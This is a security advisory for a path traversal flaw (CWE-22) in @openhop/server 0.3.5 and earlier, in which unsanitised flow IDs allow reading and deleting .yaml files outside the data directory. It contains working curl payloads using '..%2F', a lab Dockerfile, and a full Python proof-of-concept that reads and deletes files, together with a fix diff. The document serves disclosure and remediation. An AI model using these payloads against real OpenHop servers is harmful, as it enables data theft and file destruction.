---
id: CVE-2026-59179
aliases:
  - GHSA-g72f-jw3w-mgh7
title: '@openhop/server: Path Traversal in Flow ID File Operations'
summary: '@openhop/server: Path Traversal in Flow ID File Operations'
severity: high
cvss: 8.3
cwe:
  - CWE-22
vendor: openhop
product: '@openhop/server'
ecosystem: npm
affected:
  - '@openhop/server <= 0.3.5'
patched:
  - '@openhop/server 0.3.6'
published: '2026-09-09'
updated: '2026-09-09'
sourceUpdated: '2026-09-09T23:52:02Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-g72f-jw3w-mgh7'
references:
  - url: >-
      https://github.com/naorsabag/openhop/security/advisories/GHSA-g72f-jw3w-mgh7
  - url: >-
      https://github.com/naorsabag/openhop/commit/c8190fbefa3a50e7b0c16c001d2e05b0e920cfb4
  - url: 'https://github.com/advisories/GHSA-g72f-jw3w-mgh7'
tags:
  - ghsa
  - npm
ingestedAt: '2026-09-10T00:26:24.579Z'
---

## Overview

## Path Traversal in Flow ID File Operations

### Summary

`@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: **8.3 (High)**.

### Details

`FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`:

```ts
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
  return join(this.dir, `${id}.yaml`)
}
```

This result is consumed by two sinks:

- **Read** (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')`
- **Delete** (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))`

The `id` value originates from unauthenticated Fastify HTTP route parameters:

- `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335
- `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541

The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory.

Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.

**Full data-flow (read path):**

1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`)
2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`)
3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`)
4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`)
5. Server responds HTTP 200 with YAML-parsed JSON body

**Full data-flow (delete path):**

1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`)
2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`)
3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`)
4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`)
5. Server responds HTTP 204

### PoC

**Environment setup (Docker):**

```bash
# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .

# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
```

The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets.

**Attack 1 — Read file outside flow store:**

```bash
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
```

Expected response:

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
```

**Attack 2 — Delete file outside flow store:**

```bash
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
```

Expected response:

```http
HTTP/1.1 204 No Content
```

Verify deletion:

```bash
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted
```

**Automated PoC script:**

```bash
python3 poc.py 127.0.0.1 8799
```

**Recommended fix:**

```diff
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
   private filePath(id: string): string {
+    if (!FLOW_ID_PATTERN.test(id)) {
+      throw new Error('Invalid flow id')
+    }
     return join(this.dir, `${id}.yaml`)
   }
```

### Impact

This is a **Path Traversal (CWE-22)** vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H).

**Affected parties:**

- **Users running `openhop serve` locally** — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`.
- **Docker/server deployments** — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.

An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
#   docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
#   docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
#   /data/flows/         <- OPENHOP_DATA_DIR (the configured flow store)
#   /data/victim.yaml    <- OUTSIDE the flow store (path traversal read target)
#   /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.

FROM node:22-alpine

WORKDIR /app

# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/

# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/

# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install

# Set up the data directory layout for the PoC.
#   /data/flows/       -> configured as OPENHOP_DATA_DIR (the "safe" directory)
#   /data/victim.yaml  -> outside the store; represents a sensitive file that
#                         MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
    printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: SECRET_OUTSIDE_FILE\n    description: This file lives outside the configured flow store directory\n  flow:\n    nodes:\n      - id: a\n        label: Sensitive Data\n' \
    > /data/victim.yaml && \
    printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: DELETE_TARGET_FILE\n  flow:\n    nodes:\n      - id: b\n        label: Delete Target\n' \
    > /data/delete-me.yaml

# Server listens on 8799 inside the container.
EXPOSE 8799

# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799

# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]
```

#### `poc.py`

```python
#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High

Vulnerability:
    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
        return join(this.dir, `${id}.yaml`)
    with no sanitization on `id`. The route GET /api/flows/:id passes
    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
    to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
    the URL is decoded to "../victim", causing path.join to escape the
    configured data directory.

Attack Vectors:
    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml
    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage:
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 8799
"""

import http.client
import json
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799

# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll until the OpenHop server returns any response on /api/flows."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at http://{host}:{port} ...")
    while time.time() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/api/flows")
            r = conn.getresponse()
            r.read()
            conn.close()
            print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
            return True
        except Exception:
            time.sleep(1)
    return False


def raw_http(method: str, host: str, port: int, path: str):
    """
    Send an HTTP request with the path exactly as given — no normalization.
    http.client does NOT percent-decode or normalize the path string, so
    '..%2F' reaches the server verbatim and Fastify's router decodes it.
    """
    conn = http.client.HTTPConnection(host, port, timeout=10)
    conn.request(method, path)
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, body


def main() -> int:
    print("=" * 62)
    print("VULN-001  Path Traversal in OpenHop Flow ID File Operations")
    print("=" * 62)
    print(f"[*] Target  : http://{HOST}:{PORT}")
    print(f"[*] Payload : ..%2F  (decoded by find-my-way to ../)")
    print(f"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)")
    print(f"[*] Outside : /data/victim.yaml  /data/delete-me.yaml")
    print()

    if not wait_for_server(HOST, PORT):
        print("[-] Server did not become ready within timeout. ABORT.")
        return 1

    print()
    passed_read = False
    passed_delete = False

    # ── Attack 1: Read a file outside the configured flow store ─────────
    print("[*] Attack 1 — READ path traversal")
    print(f"    Request : GET {TRAVERSAL_GET_PATH}")
    print(f"    Decoded : id = ../victim")
    print(f"    Resolves: path.join('/data/flows', '../victim.yaml')")
    print(f"            = /data/victim.yaml  (outside flow store)")

    status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    print(f"    Body    : {body_text[:600]}")

    if status == 200:
        try:
            data = json.loads(body_text)
            title = data.get("meta", {}).get("title", "")
            if "SECRET_OUTSIDE_FILE" in title:
                print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
                print(f"       Leaked title field = {title!r}")
                passed_read = True
            else:
                print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
                print(f"       Full response: {data}")
                # Still count as read-traversal success if we got a valid flow back
                if "meta" in data or "flow" in data:
                    print("[PASS] READ confirmed: path traversal returned a flow from outside store")
                    passed_read = True
        except json.JSONDecodeError:
            print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
    else:
        print(f"[FAIL] Expected HTTP 200, got {status}")

    print()

    # ── Attack 2: Delete a file outside the configured flow store ────────
    print("[*] Attack 2 — DELETE path traversal")
    print(f"    Request : DELETE {TRAVERSAL_DELETE_PATH}")
    print(f"    Decoded : id = ../delete-me")
    print(f"    Resolves: path.join('/data/flows', '../delete-me.yaml')")
    print(f"            = /data/delete-me.yaml  (outside flow store)")

    status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    if body_text:
        print(f"    Body    : {body_text[:200]}")

    if status in (200, 204):
        print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
        passed_delete = True
    else:
        print(f"[FAIL] Expected HTTP 204, got {status}")

    # ── Summary ─────────────────────────────────────────────────────────
    print()
    print("=" * 62)
    if passed_read and passed_delete:
        print("[RESULT] PASS — Both read and delete path traversal exploited")
        return 0
    elif passed_read:
        print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
        return 1
    else:
        print("[RESULT] FAIL — Exploit did not succeed")
        return 2


if __name__ == "__main__":
    sys.exit(main())
```

## Affected packages

- `@openhop/server <= 0.3.5`

## Remediation

Upgrade to a patched release:

- `@openhop/server 0.3.6`
